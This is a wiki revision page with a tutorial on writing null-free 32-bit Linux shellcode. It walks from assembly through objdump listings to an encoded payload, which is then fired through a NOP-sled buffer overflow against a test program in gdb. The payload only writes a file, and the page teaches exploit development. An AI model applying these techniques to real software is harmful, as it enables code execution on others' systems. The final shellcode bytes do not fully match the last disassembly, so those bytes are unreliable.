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Difference between revisions of "Deprecated:Null-free shellcode"

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(Successful overflow test)
(Introduction)
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[[Shellcode]] is built upon the foundation of [[Buffer_Overflows|buffer overflow]]. Familiarization with the concept of buffer overflows is required to successfully create shellcode.  
 
[[Shellcode]] is built upon the foundation of [[Buffer_Overflows|buffer overflow]]. Familiarization with the concept of buffer overflows is required to successfully create shellcode.  
  
A [[buffer overflow]] is when a user mistakenly or not inputs more data then a buffer is meant to contain and without any proper bounds checking the program forces everything put into the buffer, overwriting various assembly registers. The purpose of this attack is to fit shellcode inside the buffer along with enough NOPS to allow the return pointer (eventually %eip or %rip) to be overwritten. When the return pointer is successfully overwritten, the program can then be forced to start at the beginning of the code on it's stack and make it do whatever that code specifies.
+
A [[buffer overflow]] is when a user mistakenly or not inputs more data then a buffer is meant to contain and without any proper bounds checking the program forces everything put into the buffer, overwriting various assembly registers. The purpose of this attack is to fit shellcode inside the buffer along with enough NOPS to allow the return pointer (eventually %eip or %rip) to be overwritten. When the return pointer is successfully overwritten, the program can then be forced to execute the code on it's stack -- forcing the processor to bend to the will of an attacker.
  
 
The first step of identifying a [[buffer overflow]] is to check for segmentation faults. This usually is a sure sign of a buffer overflow because the buffer is breached, allowing the return address to be overwritten.  When the return address is changed to an address outside the context of the application, the application will segfault.
 
The first step of identifying a [[buffer overflow]] is to check for segmentation faults. This usually is a sure sign of a buffer overflow because the buffer is breached, allowing the return address to be overwritten.  When the return address is changed to an address outside the context of the application, the application will segfault.

Revision as of 22:13, 13 May 2012


Introduction

Shellcode is built upon the foundation of buffer overflow. Familiarization with the concept of buffer overflows is required to successfully create shellcode.

A buffer overflow is when a user mistakenly or not inputs more data then a buffer is meant to contain and without any proper bounds checking the program forces everything put into the buffer, overwriting various assembly registers. The purpose of this attack is to fit shellcode inside the buffer along with enough NOPS to allow the return pointer (eventually %eip or %rip) to be overwritten. When the return pointer is successfully overwritten, the program can then be forced to execute the code on it's stack -- forcing the processor to bend to the will of an attacker.

The first step of identifying a buffer overflow is to check for segmentation faults. This usually is a sure sign of a buffer overflow because the buffer is breached, allowing the return address to be overwritten. When the return address is changed to an address outside the context of the application, the application will segfault.

Assembly

c3el4.png In this article 93 byte shellcode will be used that will open a file descriptor and write "this is lol" to a file named "lol" located at "/root/Desktop/".

The first step in creating working shellcode is to first create it in assembly. This will be the starting blocks that will allow development and molding of the machine code into anything desired without having to worry about design and null-bytes at first.


 
.section .data
file:
.ascii "/root/Desktop/lol"   #the file destination
 
.section .text
 
.global _start:
 
_start:
 
movl $5, %eax                #move open() to eax
movl $file, %ebx             #move file destination
movl $03101, %ecx            #some file options
movl $0666, %edx             #some file permissions
int $0x80                    #send interrupt to obtain a file descriptor
 
movl %eax, %ebx              #move the file descriptor to ebx for the write() call
movl $4, %eax                #move the write() call to eax
pushl $0x006c6f6c
pushl $0x20736920
pushl $0x73696874            #push 'this is lol\0' backwards onto the stack to be written
movl %esp, %ecx              #move the pointer to the beginning of the text to be written
movl $12, %edx               #move the size of the text to be written
int $0x80                    #write the text to the file
 
movl $1, %eax                #move exit() to eax
movl $5, %edx                #move the return value of 5 to edx
int $0x80                    #exit
 


Here is the basic assembly program that turns into the payload shellcode during the buffer overflow exploit. It is easily manageable and changeable in its current state. This is the stage in which all the design choices should be made. After the payload is created, run it through objdump to take a look at its bytecode to see what changes are required.


 root@ducks:~/Desktop# objdump -d p2.o
 p2.o:     file format elf32-i386
 Disassembly of section .text:
 00000000 <_start>:
  0:   b8 05 00 00 00          mov    $0x5,%eax
  5:   bb 00 00 00 00          mov    $0x0,%ebx
  a:   b9 41 06 00 00          mov    $0x641,%ecx
  f:   ba b6 01 00 00          mov    $0x1b6,%edx
 14:   cd 80                   int    $0x80
 16:   89 c3                   mov    %eax,%ebx
 18:   b8 04 00 00 00          mov    $0x4,%eax
 1d:   68 6c 6f 6c 00          push   $0x6c6f6c
 22:   68 20 69 73 20          push   $0x20736920
 27:   68 74 68 69 73          push   $0x73696874
 2c:   89 e1                   mov    %esp,%ecx
 2e:   ba 0c 00 00 00          mov    $0xc,%edx
 33:   cd 80                   int    $0x80
 35:   b8 01 00 00 00          mov    $0x1,%eax
 3a:   ba 05 00 00 00          mov    $0x5,%edx
 3f:   cd 80                   int    $0x80


This program is riddled with null-bytes; these are a shellcode's worst enemy! Null-bytes are used as string terminators in the C programming language, and functions such as strcpy() and other string manipulation functions use them as markers to end their copy loops. When a null-byte is encountered, copying stops - preventing the target buffer from overflowing. Another error in this is not of the assemblies fault, but rather the design in general. The write path in which the file is to be written to is stored in static memory in the .data section. The reason this is bad design is because the target will not have this string or label in its memory, so the shellcode will most likely cause a segmentation fault and crash the target.

In order to fix these, design changes will need to be made as well as instruction changes in order to remove the nullbytes and fix the design problem.

Conversion to shellcode

String argument

 
_start:
 
xorl %eax, %eax
xorl %ebx, %ebx
xorl %ecx, %ecx
xorl %edx, %edx              #xor all the registers to zero them
 
movl $5, %eax                #move open() to eax
pushl $0x0000006c
pushl $0x6f6c2f70
pushl $0x6f746b73
pushl $0x65442f74
pushl $0x6f6f722f            #push the writing destination backwards in hex onto the stack
movl %esp, %ebx              #move the pointer to the top of the stack to ebx
movl $03101, %ecx            #some file options
movl $0666, %edx             #some file permissions
int $0x80                    #send interrupt to obtain a file descriptor
 
movl %eax, %ebx              #move the file descriptor to ebx for the write() call
movl $4, %eax                #move the write() call to eax
pushl $0x006c6f6c
pushl $0x20736920
pushl $0x73696874            #push 'this is lol\0' backwards onto the stack to be written
movl %esp, %ecx              #move the pointer to the beginning of the text to be written
movl $12, %edx               #move the size of the text to be written
int $0x80                    #write the text
 
movl $1, %eax                #move exit() to eax
movl $5, %edx                #move the return value of 5 to edx
int $0x80                    #exit
 


In this new example it can be seen that instead of depending on the static definition of the destination path in the .data section, the entire string has been pushed onto the stack backwards which is then moved a pointer to into the proper register. The reason the design was changed is so that when the targets buffer is exploited, the path will now be on the stack so it can be accessed unlike before. Another change is that all the registers have been zeroed out that will be used. The reason behind this is that it can never be told what a register is set to at the time of exploitation,thus it is better off to zero them out when started.


Create a new objdump of the new code to see what else needs to be fixed:


 root@ducks:~/Desktop# objdump -d p2.o
 p2.o:     file format elf32-i386
 Disassembly of section .text:
 00000000 <_start>:
  0:   31 c0                   xor    %eax,%eax
  2:   31 db                   xor    %ebx,%ebx
  4:   31 c9                   xor    %ecx,%ecx
  6:   31 d2                   xor    %edx,%edx
  8:   b8 05 00 00 00          mov    $0x5,%eax
  d:   6a 6c                   push   $0x6c
  f:   68 70 2f 6c 6f          push   $0x6f6c2f70
 14:   68 73 6b 74 6f          push   $0x6f746b73
 19:   68 74 2f 44 65          push   $0x65442f74
 1e:   68 2f 72 6f 6f          push   $0x6f6f722f
 23:   89 e3                   mov    %esp,%ebx
 25:   b9 41 06 00 00          mov    $0x641,%ecx
 2a:   ba b6 01 00 00          mov    $0x1b6,%edx
 2f:   cd 80                   int    $0x80
 31:   89 c3                   mov    %eax,%ebx
 33:   b8 04 00 00 00          mov    $0x4,%eax
 38:   68 6c 6f 6c 00          push   $0x6c6f6c
 3d:   68 20 69 73 20          push   $0x20736920
 42:   68 74 68 69 73          push   $0x73696874
 47:   89 e1                   mov    %esp,%ecx
 49:   ba 0c 00 00 00          mov    $0xc,%edx
 4e:   cd 80                   int    $0x80
 50:   b8 01 00 00 00          mov    $0x1,%eax
 55:   ba 05 00 00 00          mov    $0x5,%edx
 5a:   cd 80                   int    $0x80


As can be seen, there still are a lot of nullbytes to remove from the code. Removing these can be as easy as changing the instruction in most cases, but in others such as the hex strings which have to be null terminated, a more complicated work around will need to be implemented.

Null-byte removal

 
_start:
 
xorl %ecx, %ecx
xorl %edx, %edx         #use xor to zero out the registers (removed some not required)
 
push $0x05              #push 0x05 (single byte to remove the null padding used in longs)
pop %eax                #pop that value into eax
push $0x6c              #push part of the file destination as a byte to remove padding
pushl $0x6f6c2f70
pushl $0x6f746b73
pushl $0x65442f74
pushl $0x6f6f722f
movl %esp, %ebx         #move out stack pointer
xorw $0x0641, %cx       #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641)
xorw $0x01b6, %dx       #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6)
                        #by using this method of xoring out the nullbytes code size can be reduced as well
			#as remove the null bytes
int $0x80               #execute open()
 
movl %eax, %ebx         #move the file handle into ebx for write()
push $0x04              #push 0x04
pop %eax                #pop it into eax for use in write()
pushl $0x6c6f6c6a       #push part of the null terminated hex string onto the stack
pop %ecx                #pop it into ecx for modification
shr $0x08, %ecx         #shift it to the right by 0x08 to put the nullbyte back into the string without
                        #having it directly in the code
pushl %ecx              #push the modified string back onto the stack
pushl $0x20736920
pushl $0x73696874
movl %esp, %ecx         #move the stack pointer to ecx
push $0xb               #push the size of the stack in hex 
pop %edx                #pop it back into the proper register
pushl %ebx              #push the file descriptor onto the stack for the next function
int $0x80               #write the file
 
pop %ebx                #get the file descriptor back
push $0x06              #push 0x06 to the stack
pop %eax                #pop it into eax for close()
int $0x80               #close the file
 
push $0x01              #push exit() onto the stack
pop %eax                #and put it in the register
push $0x05              #push the return value of 5
pop %ebx                #and put it in ebx
int $0x80               #and exit
 


This code has now been heavily modified from the original to make it smaller in size, to make it run faster, and to make it have no null bytes. There are some complicated techniques used here that will help bypass the use of nullbytes such as xoring them out or using shift-left or shift-right to put them back into a string while in memory. Using these techniques allows the shellcode to have no nullbytes and to run flawlessly inside the targets stack.


It is time to do a final objdump to make sure all the nullbytes are gone and to make sure everything else is ok with the code. It will also give the final bytecode dump that will be cleaned up to produce a functioning shellcode.


 root@ducks:~/Desktop# objdump -d p2.o
 p2.o:     file format elf32-i386
 Disassembly of section .text:
 00000000 <_start>:
  0:   31 c9                   xor    %ecx,%ecx
  2:   31 d2                   xor    %edx,%edx
  7:   6a 05                   push   $0x5
  9:   58                      pop    %eax
  a:   6a 6c                   push   $0x6c
  c:   68 70 2f 6c 6f          push   $0x6f6c2f70
 11:   68 73 6b 74 6f          push   $0x6f746b73
 16:   68 74 2f 44 65          push   $0x65442f74
 1b:   68 2f 72 6f 6f          push   $0x6f6f722f
 20:   89 e3                   mov    %esp,%ebx
 22:   66 81 f1 41 06          xor    $0x641,%cx
 27:   66 81 f2 b6 01          xor    $0x1b6,%dx
 2c:   cd 80                   int    $0x80
 2e:   89 c3                   mov    %eax,%ebx
 30:   6a 04                   push   $0x4
 32:   58                      pop    %eax
 33:   68 6a 6c 6f 6c          push   $0x6c6f6c6a
 38:   59                      pop    %ecx
 39:   c1 e9 08                shr    $0x8,%ecx
 3c:   51                      push   %ecx
 3d:   68 20 69 73 20          push   $0x20736920
 42:   68 74 68 69 73          push   $0x73696874
 47:   89 e1                   mov    %esp,%ecx
 49:   6a 0b                   push   $0xb
 4b:   5a                      pop    %edx
 4c:   53                      push   %ebx
 4d:   cd 80                   int    $0x80
 4f:   5b                      pop    %ebx
 50:   6a 06                   push   $0x6
 52:   58                      pop    %eax
 53:   cd 80                   int    $0x80
 55:   6a 01                   push   $0x1
 57:   58                      pop    %eax
 58:   6a 05                   push   $0x5
 5a:   5b                      pop    %ebx
 5b:   cd 80                   int    $0x80
 

Everything appears to look okay so clean this objdump up and turn it into some real shellcode by removing all excess data except for the bytecode. Once the line markets and assembly instructions have been stripped away, add "\x" in front of every byte instruction like so.


 \x31\xc9\x31\xd2\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80

This is what the final shellcode will look like. It is 93 bytes long and writes a file named "lol" to the desktop of /root/ and exits with the return value of 5.

Successful overflow test

c3el4.png This shellcode was tested on bof.c.

To use this shellcode either use perl or ruby to aid in adding the correct number of NOPS for the buffer at hand. In this case, a 100 byte buffer with EIP located at 116 is being used. So that means that the shellcode should be subtracted from 116 which is 23 and then minus 4 for the return address which is 19. That means the shellcode must be padded with 19 NOPS in order for the return address to overwrite the EIP of the targets buffer.


 root@ducks:~/Desktop# gdb -q ./bof
 Reading symbols from /root/Desktop/bof...done.
 (gdb) r "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`"
 Starting program: /root/Desktop/bof "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`"
 Program exited with code 05.
 (gdb)


RPU0j.png When using perl or ruby to test this shellcode with an exploit from the command-line, it requires double quotations around the entire command, or it will output \x20 as a whitespace character and the shellcode will be divided up as separate command-line arguments, preventing the buffer from overflowing.